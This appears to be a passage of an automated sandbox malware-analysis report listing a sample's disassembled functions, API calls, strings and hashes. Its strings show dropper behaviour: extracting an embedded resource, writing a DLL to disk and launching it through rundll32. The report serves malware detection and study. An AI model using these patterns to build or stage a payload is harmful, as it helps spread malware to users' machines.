Not Executed

APIs

FindResourceA.KERNEL32(00000000,00000086,HTM), ref: 004013E4
LoadResource.KERNEL32(00000000,00000000), ref: 004013FC

Strings

c:\%s, xrefs: 00401509
HTM, xrefs: 004013D8
c:\windows\system32\rundll32.exe, xrefs: 004015A7
D, xrefs: 0040165E
WinSta0\Default, xrefs: 00401666
%s\%s.dll, xrefs: 0040155E
%s "%s",init %s, xrefs: 00401621

Memory Dump Source

Source File: 00000000.00000002.2043485191.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2043474673.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043496245.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043505928.0000000000406000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043515275.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043524865.0000000000408000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043540697.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nt11qTrX4f.jbxd

Similarity

API ID: Resource$FindLoad
String ID: %s "%s",init %s$%s\%s.dll$D$HTM$WinSta0\Default$c:\%s$c:\windows\system32\rundll32.exe
API String ID: 2619053042-2457680838
Opcode ID: fdddb39bb3cb725529eaf3ce096bf9552d9a8ba29dd7300b0babee306d9bc285
Instruction ID: 5c017b3d947436da3a79cbd575b5788da6cc5bd4b656b3589a3b64b7cb9d4a99
Opcode Fuzzy Hash: fdddb39bb3cb725529eaf3ce096bf9552d9a8ba29dd7300b0babee306d9bc285
Instruction Fuzzy Hash: DA71E5716083806FD3218B24CC45BEB7BD5EB89704F00492DF6C9AB2D1DAB995098B9B

Function 00401DE0 Relevance: 13.6, APIs: 9, Instructions: 71windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00401DEA
6CE23130.MFC42 ref: 00401DFF
SendMessageA.USER32(?,00000027,?,00000000), ref: 00401E1B
GetSystemMetrics.USER32(0000000B), ref: 00401E29
GetSystemMetrics.USER32(0000000C), ref: 00401E2F
GetClientRect.USER32(?,?), ref: 00401E3C
DrawIcon.USER32(?,?,?,?), ref: 00401E74
6CE230D0.MFC42 ref: 00401E7E
6CE1FEB0.MFC42 ref: 00401E8C

Memory Dump Source

Source File: 00000000.00000002.2043485191.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2043474673.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043496245.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043505928.0000000000406000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043515275.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043524865.0000000000408000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043540697.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nt11qTrX4f.jbxd

Similarity

API ID: MetricsSystem$ClientDrawE230E23130IconIconicMessageRectSend
String ID:
API String ID: 4033561911-0
Opcode ID: d65fc874f4ee7fe65103a4d04c514135e46e03f898aa5041571371461f9f6384
Instruction ID: db773ba51d367e258aaa0001d282ccedd816923d488996b04dffdd7d1b0f9207
Opcode Fuzzy Hash: d65fc874f4ee7fe65103a4d04c514135e46e03f898aa5041571371461f9f6384
Instruction Fuzzy Hash: 62117CB12047029BC214DF79DD89D6BB7E9FFC8304F084A2DB58AD3290DA34E905CB59

Function 00403B10 Relevance: 45.6, APIs: 25, Strings: 1, Instructions: 149
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

6CE3E820.MFC42(00000001), ref: 00403B34
6CE352C0.MFC42(user.ini,00000000,00000001), ref: 00403B72
6CE17770.MFC42 ref: 00403B83
6CE12DD0.MFC42(00000000), ref: 00403B8B
6CE176D0.MFC42(00000000,00000000), ref: 00403B9B
6CE1EBC0.MFC42(00000000,00000000), ref: 00403BA8
6CE18660.MFC42(00000000,00000000,00000000), ref: 00403BB2
6CE3B140.MFC42 ref: 00403BC4
6CE3A880.MFC42(?,00000000,?), ref: 00403BDF
6CE3A8D0.MFC42(?,00000000,00407070,?,00000000,?), ref: 00403BF4
6CE3A880.MFC42(?,00000000,?,?,00000000,00407070,?,00000000,?), ref: 00403C05
6CE3A8D0.MFC42(?,00000000,00407248,?,00000000,?,?,00000000,00407070,?,00000000,?), ref: 00403C1B
6CE190A0.MFC42(00000000,?,00000000,00407248,?,00000000,?,?,00000000,00407070,?,00000000,?), ref: 00403C2A
6CE1A420.MFC42(00000000,?,00000000,00407248,?,00000000,?,?,00000000,00407070,?,00000000,?), ref: 00403C37
6CE1A420.MFC42(00000000,?,00000000,00407248,?,00000000,?,?,00000000,00407070,?,00000000,?), ref: 00403C45
6CE1A420.MFC42(00000000,?,00000000,00407248,?,00000000,?,?,00000000,00407070,?,00000000,?), ref: 00403C53
6CE1A420.MFC42(00000000,?,00000000,00407248,?,00000000,?,?,00000000,00407070,?,00000000,?), ref: 00403C61
fopen.MSVCRT ref: 00403C70
6CE1A420.MFC42(00407200,00407234,00000000), ref: 00403C88
6CE259A0.MFC42(00407200,00407234,00000000), ref: 00403C95
fprintf.MSVCRT ref: 00403CB8
fclose.MSVCRT ref: 00403CBF
6CE3D780.MFC42(00407224,00407234,00000000), ref: 00403CD8
6CE3D780.MFC42(00407200,00407234,00000000), ref: 00403CEF
6CE3D780.MFC42(004071E0,00407234,00000000,00000001), ref: 00403D04

Strings

user.ini, xrefs: 00403B69, 00403C6B

Memory Dump Source

Source File: 00000000.00000002.2043485191.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2043474673.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043496245.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043505928.0000000000406000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043515275.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043524865.0000000000408000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043540697.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nt11qTrX4f.jbxd

Similarity

API ID: A420$D780$A880$B140E176E17770E18660E190E259E352E820fclosefopenfprintf
String ID: user.ini
API String ID: 3186117009-1338118170
Opcode ID: a6a6fb629337a14a19167b81d9b5a2f6b5228c5787a28112ea1f94429918bd96
Instruction ID: 013291e13a0706baa31a3bd6034cca8677a8dde525ade2333a9cb0047f89d752
Opcode Fuzzy Hash: a6a6fb629337a14a19167b81d9b5a2f6b5228c5787a28112ea1f94429918bd96
Instruction Fuzzy Hash: 2C51D7716483809BD310EB15C845F9BBBE4AFD5718F04096EFA85732C1DB7DA504CA6B

Function 004036D0 Relevance: 42.2, APIs: 23, Strings: 1, Instructions: 167
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

6CE352C0.MFC42(user.ini,00000000), ref: 004036F9
6CE17770.MFC42 ref: 0040370A
6CE12DD0.MFC42(00000000), ref: 00403712
6CE176D0.MFC42(00000000,00000000), ref: 00403722
6CE1EBC0.MFC42(00000000,00000000), ref: 0040372F
6CE18660.MFC42(00000000,00000000,00000000), ref: 00403739
6CE256F0.MFC42 ref: 00403747
SendMessageA.USER32(?,0000014B,00000000,00000000), ref: 00403762
6CE1EC00.MFC42(?,?,0000003B), ref: 00403778

Part of subcall function 004039A0: 6CE1A420.MFC42(00000000,00000000,00402222,?,?,0000003B), ref: 004039C4

6CE1EC00.MFC42(00000015,?,0000003B,00000001), ref: 004037A1
6CE1EC00.MFC42(?,?,0000003B,00000001,00000001), ref: 004037BF
6CE3B590.MFC42(00000021,00000001,00000000,00000001), ref: 004037D9
6CE190A0.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00404B78), ref: 004037E8
6CE1EC00.MFC42(?,00000001,0000003B,00000001), ref: 0040380C
6CE1EC00.MFC42(?,?,0000003B,00000000,00000001), ref: 0040382A
6CE1EC00.MFC42(00000019,?,0000003B,00000000,-00000001,00000001), ref: 0040384A
6CE3B590.MFC42(?,00000001,00000001), ref: 00403862
6CE190A0.MFC42 ref: 00403871
6CE1A420.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00404B78), ref: 0040387E
SendMessageA.USER32(?,00000143,00000000,?), ref: 00403896
6CE1A420.MFC42 ref: 004038AB
6CE1A420.MFC42 ref: 004038B9
6CE259A0.MFC42 ref: 004038CA

Strings

user.ini, xrefs: 004036F0

Memory Dump Source

Source File: 00000000.00000002.2043485191.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2043474673.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043496245.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043505928.0000000000406000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043515275.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043524865.0000000000408000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043540697.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nt11qTrX4f.jbxd

Similarity

API ID: A420$B590E190MessageSend$E176E17770E18660E256E259E352
String ID: user.ini
API String ID: 2156879333-1338118170
Opcode ID: e2a0c54cd5d71bfe7c8f7115dbcc982c8ab97f2cc07cf54eacd2f770ea5d7972
Instruction ID: 54062048f7d8e9c3c5b10c10d2f13be0a112b8bce1456f32d0f06b7dcf1a2bd7
Opcode Fuzzy Hash: e2a0c54cd5d71bfe7c8f7115dbcc982c8ab97f2cc07cf54eacd2f770ea5d7972
Instruction Fuzzy Hash: 8151C6F1508341AFC314EB22C856F5F7BE8ABD5B48F004A2DF655662C1DB789608CBA7

Function 00402170 Relevance: 42.2, APIs: 23, Strings: 1, Instructions: 167
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

6CE352C0.MFC42(user.ini,00000000), ref: 00402199
6CE17770.MFC42 ref: 004021AA
6CE12DD0.MFC42(00000000), ref: 004021B2
6CE176D0.MFC42(00000000,00000000), ref: 004021C2
6CE1EBC0.MFC42(00000000,00000000), ref: 004021CF
6CE18660.MFC42(00000000,00000000,00000000), ref: 004021D9
6CE256F0.MFC42 ref: 004021E7
SendMessageA.USER32(?,0000014B,00000000,00000000), ref: 00402202
6CE1EC00.MFC42(?,?,0000003B), ref: 00402218

Part of subcall function 004039A0: 6CE1A420.MFC42(00000000,00000000,00402222,?,?,0000003B), ref: 004039C4

6CE1EC00.MFC42(00000015,?,0000003B,00000001), ref: 00402241
6CE1EC00.MFC42(?,?,0000003B,00000001,00000001), ref: 0040225F
6CE3B590.MFC42(00000021,00000001,00000000,00000001), ref: 00402279
6CE190A0.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00404878), ref: 00402288
6CE1EC00.MFC42(?,00000001,0000003B,00000001), ref: 004022AC
6CE1EC00.MFC42(?,?,0000003B,00000000,00000001), ref: 004022CA
6CE1EC00.MFC42(00000019,?,0000003B,00000000,-00000001,00000001), ref: 004022EA
6CE3B590.MFC42(?,00000001,00000001), ref: 00402302
6CE190A0.MFC42 ref: 00402311
6CE1A420.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00404878), ref: 0040231E
SendMessageA.USER32(?,00000143,00000000,?), ref: 00402336
6CE1A420.MFC42 ref: 0040234B
6CE1A420.MFC42 ref: 00402359
6CE259A0.MFC42 ref: 0040236A

Strings

user.ini, xrefs: 00402190

Memory Dump Source

Source File: 00000000.00000002.2043485191.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2043474673.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043496245.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043505928.0000000000406000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043515275.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043524865.0000000000408000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043540697.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nt11qTrX4f.jbxd

Similarity

API ID: A420$B590E190MessageSend$E176E17770E18660E256E259E352
String ID: user.ini
API String ID: 2156879333-1338118170
Opcode ID: 37e4858ff997d67b506cbc70ba22a13177efcd1f51f67c78ac5313dcec2c17d1
Instruction ID: afaa56c09f8307c61a21e81d60edd19e1058136c3d77b862272b9fbdbc9fbc74
Opcode Fuzzy Hash: 37e4858ff997d67b506cbc70ba22a13177efcd1f51f67c78ac5313dcec2c17d1
Instruction Fuzzy Hash: 9E51E9B1508341AFC304EB62C856F5F7BE8ABD5748F400A2DFA55662C1DB789608CBA7

Function 00403D20 Relevance: 40.4, APIs: 22, Strings: 1, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

6CE3E820.MFC42(00000001), ref: 00403D40
_mbscmp.MSVCRT ref: 00403D57
6CE3D780.MFC42(00407280,00407234,00000000), ref: 00403D72
6CE352C0.MFC42(user.ini,00000000), ref: 00403D93
6CE17770.MFC42 ref: 00403DA4
6CE12DD0.MFC42(00000000), ref: 00403DAC
6CE176D0.MFC42(00000000,00000000,00000000), ref: 00403DBC
6CE1EBC0.MFC42(00000000,00000000,00000000), ref: 00403DC9
6CE18660.MFC42(00000000,00000000,00000000,00000000), ref: 00403DD3
6CE3B140.MFC42 ref: 00403DE4
6CE3D780.MFC42(0040725C,00407234,00000000), ref: 00403E00
6CE1A420.MFC42 ref: 00403EA2
6CE259A0.MFC42 ref: 00403EAF

Strings

user.ini, xrefs: 00403D8A, 00403E32

Memory Dump Source

Source File: 00000000.00000002.2043485191.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2043474673.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043496245.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043505928.0000000000406000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043515275.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043524865.0000000000408000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043540697.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nt11qTrX4f.jbxd

Similarity

API ID: D780$A420B140E176E17770E18660E259E352E820_mbscmp
String ID: user.ini
API String ID: 1142254341-1338118170
Opcode ID: f68a4b7512e58f0b074adbafbc15d7738ed7276c7fa3a7cd18c7a8ce536ae287
Instruction ID: 7586933d42d8af5822a5c6cc992a2378d2c9300e52b0bfec7b5886e4e50d1dbd
Opcode Fuzzy Hash: f68a4b7512e58f0b074adbafbc15d7738ed7276c7fa3a7cd18c7a8ce536ae287
Instruction Fuzzy Hash: F341D1B16483406BC314FF55CC42BAF7654AFD0709F40067EFA06762C1DB7C69088AAB

Function 004019C0 Relevance: 40.4, APIs: 20, Strings: 3, Instructions: 100
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

6CE50310.MFC42(00000066,00000000,?,?,?,?,?,00000000,004047CD,000000FF,004016EF,00000000), ref: 004019E7
6CE17F20.MFC42(00000066,00000000), ref: 004019F9
6CE17F20.MFC42(00000066,00000000), ref: 00401A11
6CE17F20.MFC42(00000066,00000000), ref: 00401A29
6CE17F20.MFC42(00000066,00000000), ref: 00401A41
6CE17F20.MFC42(00000066,00000000), ref: 00401A59
6CE17F20.MFC42(00000066,00000000), ref: 00401A71
6CE17F20.MFC42(00000066,00000000), ref: 00401A89
6CE256F0.MFC42(00000066,00000000), ref: 00401AA1
6CE256F0.MFC42(00000066,00000000), ref: 00401AB3
6CE256F0.MFC42(00000066,00000000), ref: 00401AC3
6CE256F0.MFC42(00000066,00000000), ref: 00401AD5
6CE256F0.MFC42(00000066,00000000), ref: 00401AE5
6CE25A80.MFC42(004073FC,00000066,00000000), ref: 00401AFC
6CE25A80.MFC42(004073FC,004073FC,00000066,00000000), ref: 00401B08
6CE25A80.MFC42(004070E8,004073FC,004073FC,00000066,00000000), ref: 00401B14
6CE25A80.MFC42(004070E0,004070E8,004073FC,004073FC,00000066,00000000), ref: 00401B24
6CE150F0.MFC42(004070E0,004070E8,004073FC,004073FC,00000066,00000000), ref: 00401B29
6CE1F390.MFC42(00000080,0000000E,00000080,004070E0,004070E8,004073FC,004073FC,00000066,00000000), ref: 00401B3A
LoadIconA.USER32(00000000,00000080), ref: 00401B40

Strings

0?@, xrefs: 00401A8E
DB@, xrefs: 00401AF6
nB@, xrefs: 00401A76

Memory Dump Source

Source File: 00000000.00000002.2043485191.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2043474673.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043496245.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043505928.0000000000406000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043515275.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043524865.0000000000408000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043540697.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nt11qTrX4f.jbxd

Similarity

API ID: E256$E150E50310F390IconLoad
String ID: 0?@$DB@$nB@
API String ID: 2310818808-169237758
Opcode ID: 61283f7cb8a9a505548b534a433f2e0d23e54d829050f8b43b38edcd8d41ae24
Instruction ID: f2e10ca964a3f428014d6b156628cc8ca48279fbad35800b64bcb403419e067a
Opcode Fuzzy Hash: 61283f7cb8a9a505548b534a433f2e0d23e54d829050f8b43b38edcd8d41ae24
Instruction Fuzzy Hash: 80413AB1308B418BD301EF65844576EBBD1EFC9344F04486EF996272C2DBBD65098FAA

Function 00401690 Relevance: 27.1, APIs: 18, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

6CEAA190.MFC42(00000000), ref: 004016B0
6CE25BD0.MFC42 ref: 004016BA
__p___argv.MSVCRT ref: 004016BF
ExitProcess.KERNEL32 ref: 004016DE

Part of subcall function 00401220: 6CE12DD0.MFC42(00100000), ref: 0040122F
Part of subcall function 00401220: __p___argv.MSVCRT ref: 00401253
Part of subcall function 00401220: __p___argv.MSVCRT ref: 00401274
Part of subcall function 00401220: Sleep.KERNEL32(00000064), ref: 00401286
Part of subcall function 00401220: GetTickCount.KERNEL32 ref: 004012CD
Part of subcall function 00401220: wsprintfA.USER32 ref: 004012EA
Part of subcall function 00401220: CreateFileA.KERNELBASE(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 0040130A
Part of subcall function 00401220: 6CE12DD0.MFC42(00000000), ref: 00401313
Part of subcall function 00401220: Sleep.KERNELBASE(00000064), ref: 00401321
Part of subcall function 00401220: WriteFile.KERNELBASE(00000000,00000000,?,?,00000000), ref: 00401331
Part of subcall function 00401220: Sleep.KERNELBASE(00000064), ref: 00401339

Part of subcall function 004019C0: 6CE50310.MFC42(00000066,00000000,?,?,?,?,?,00000000,004047CD,000000FF,004016EF,00000000), ref: 004019E7
Part of subcall function 004019C0: 6CE17F20.MFC42(00000066,00000000), ref: 004019F9
Part of subcall function 004019C0: 6CE17F20.MFC42(00000066,00000000), ref: 00401A11
Part of subcall function 004019C0: 6CE17F20.MFC42(00000066,00000000), ref: 00401A29
Part of subcall function 004019C0: 6CE17F20.MFC42(00000066,00000000), ref: 00401A41
Part of subcall function 004019C0: 6CE17F20.MFC42(00000066,00000000), ref: 00401A59
Part of subcall function 004019C0: 6CE17F20.MFC42(00000066,00000000), ref: 00401A71
Part of subcall function 004019C0: 6CE17F20.MFC42(00000066,00000000), ref: 00401A89
Part of subcall function 004019C0: 6CE256F0.MFC42(00000066,00000000), ref: 00401AA1
Part of subcall function 004019C0: 6CE256F0.MFC42(00000066,00000000), ref: 00401AB3
Part of subcall function 004019C0: 6CE256F0.MFC42(00000066,00000000), ref: 00401AC3
Part of subcall function 004019C0: 6CE256F0.MFC42(00000066,00000000), ref: 00401AD5
Part of subcall function 004019C0: 6CE256F0.MFC42(00000066,00000000), ref: 00401AE5
Part of subcall function 004019C0: 6CE25A80.MFC42(004073FC,00000066,00000000), ref: 00401AFC
Part of subcall function 004019C0: 6CE25A80.MFC42(004073FC,004073FC,00000066,00000000), ref: 00401B08
Part of subcall function 004019C0: 6CE25A80.MFC42(004070E8,004073FC,004073FC,00000066,00000000), ref: 00401B14
Part of subcall function 004019C0: 6CE25A80.MFC42(004070E0,004070E8,004073FC,004073FC,00000066,00000000), ref: 00401B24
Part of subcall function 004019C0: 6CE150F0.MFC42(004070E0,004070E8,004073FC,004073FC,00000066,00000000), ref: 00401B29
Part of subcall function 004019C0: 6CE1F390.MFC42(00000080,0000000E,00000080,004070E0,004070E8,004073FC,004073FC,00000066,00000000), ref: 00401B3A
Part of subcall function 004019C0: LoadIconA.USER32(00000000,00000080), ref: 00401B40

6CE509F0.MFC42 ref: 00401705
6CE1A420.MFC42 ref: 0040171C
6CE1A420.MFC42 ref: 00401730
6CE1A420.MFC42 ref: 00401744
6CE1A420.MFC42 ref: 00401758
6CE1A420.MFC42 ref: 0040176C
6CE12C80.MFC42 ref: 00401780
6CE4BC50.MFC42 ref: 00401794
6CE4BC00.MFC42 ref: 004017A8
6CE4BC00.MFC42 ref: 004017BC
6CE4BC00.MFC42 ref: 004017D0
6CE4BC00.MFC42 ref: 004017E4
6CE4BC00.MFC42 ref: 004017F5
6CE503E0.MFC42 ref: 00401809

Memory Dump Source

Source File: 00000000.00000002.2043485191.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2043474673.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043496245.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043505928.0000000000406000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043515275.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043524865.0000000000408000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043540697.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nt11qTrX4f.jbxd

Similarity

API ID: A420E256$Sleep__p___argv$File$A190CountCreateE150E503E50310E509ExitF390IconLoadProcessTickWritewsprintf
String ID:
API String ID: 4210571188-0
Opcode ID: c799f09f8497bed147593227bf029dd3053d6bb179ea20caa85db19ddaaaa527
Instruction ID: 616903a36303fad059cf54e446dff4fbed7c69b0abb077ef7505e4f2811fcf63
Opcode Fuzzy Hash: c799f09f8497bed147593227bf029dd3053d6bb179ea20caa85db19ddaaaa527
Instruction Fuzzy Hash: 55315D740093C19AD334FB65C65DBDFBBE0AFE5308F04096EA58D162C2DB785548CA67

Function 00402710 Relevance: 22.6, APIs: 15, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

6CE598C0.MFC42(000003EF), ref: 0040272F
6CE598C0.MFC42(000003EF,000003EF), ref: 00402745
SendMessageA.USER32(?,000000B1,00000000,000000FF), ref: 00402759
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 00402768
6CE598C0.MFC42(000003F0), ref: 00402771
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 00402785
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 00402794
6CE598C0.MFC42(000003F0), ref: 004027A6
6CE598C0.MFC42(000003F0,000003F0), ref: 004027BC
SendMessageA.USER32(?,000000B1,00000000,000000FF), ref: 004027D0
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 004027DF
6CE598C0.MFC42(000003EF), ref: 004027E8
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 004027FC
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 0040280B
6CE50FC0.MFC42(?), ref: 00402810

Memory Dump Source

Source File: 00000000.00000002.2043485191.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2043474673.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043496245.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043505928.0000000000406000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043515275.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043524865.0000000000408000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043540697.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nt11qTrX4f.jbxd

Similarity

API ID: MessageSend$E598
String ID:
API String ID: 3510989998-0
Opcode ID: acb55e1696818d62f7613b3393379dbb035e1e1f34fcddce67767c826e64d927
Instruction ID: 43040d4cf96770573546f0ef5553b46f0ed2c3b2f342c278d2bebaaa6e181bda
Opcode Fuzzy Hash: acb55e1696818d62f7613b3393379dbb035e1e1f34fcddce67767c826e64d927
Instruction Fuzzy Hash: 6221357178031477EB14AB558CD6F7E365AABD8B10F34422ABF056F2C6CAF4E8018B55

Function 00402440 Relevance: 21.1, APIs: 14, Instructions: 98
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageA.USER32(?,00000147,00000000,00000000), ref: 0040246C
6CE256F0.MFC42 ref: 00402478
6CE4BFA0.MFC42(00000000,?,?,?,?,?,?,?,?,?,?,004048C8,000000FF), ref: 00402491
6CE1EC00.MFC42(?,?,00000020,00000001,00000000,?,?,?,?,?,?,?,?,?,?,004048C8), ref: 004024A6

Part of subcall function 00402390: 6CE1A420.MFC42(00000000,00000000,00000002,00000000,00404898,000000FF,004022B6,?), ref: 004023BE

6CE3B590.MFC42(?,00000000,00000000), ref: 004024BF
6CE190A0.MFC42(?,?,?,?,?,?,?,?,?,?,004048C8,000000FF), ref: 004024D0
6CE1A420.MFC42(?,?,?,?,?,?,?,?,?,?,004048C8,000000FF), ref: 004024DE
6CE1EC00.MFC42(?,00000000,00000020,00000001,?,?,?,?,?,?,?,?,?,?,004048C8,000000FF), ref: 004024FA

Part of subcall function 00402390: 6CE1A420.MFC42(00000000,00000000,00000002,00000000,00404898,000000FF,004022B6,?), ref: 00402403

6CE1EC00.MFC42(?,?,00000020,00000001,?), ref: 0040251A

Part of subcall function 00402390: 6CE1A420.MFC42(00000000,00000000,00000002,00000000,00404898,000000FF,004022B6,?), ref: 00402426

6CE3B590.MFC42(?,00000001), ref: 00402532
6CE190A0.MFC42(?,?,?,?,?,?,?,?,?,?,004048C8,000000FF), ref: 00402543
6CE1A420.MFC42(?,?,?,?,?,?,?,?,?,?,004048C8,000000FF), ref: 00402551
6CE3E820.MFC42(00000000,?,?,?,?,?,?,?,?,?,?,004048C8,000000FF), ref: 0040255A

Part of subcall function 00402850: CoInitialize.OLE32(00000000), ref: 0040286D
Part of subcall function 00402850: 6CE1EC00.MFC42(?), ref: 004028AF
Part of subcall function 00402850: 6CE1EC00.MFC42 ref: 004028C7
Part of subcall function 00402850: CoUninitialize.OLE32 ref: 004028E3

6CE1A420.MFC42(00000000,?,?,?,?,?,?,?,?,?,?,004048C8,000000FF), ref: 00402572

Memory Dump Source

Source File: 00000000.00000002.2043485191.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2043474673.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043496245.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043505928.0000000000406000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043515275.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043524865.0000000000408000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043540697.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nt11qTrX4f.jbxd

Similarity

API ID: A420$B590E190$E256E820InitializeMessageSendUninitialize
String ID:
API String ID: 2826152916-0
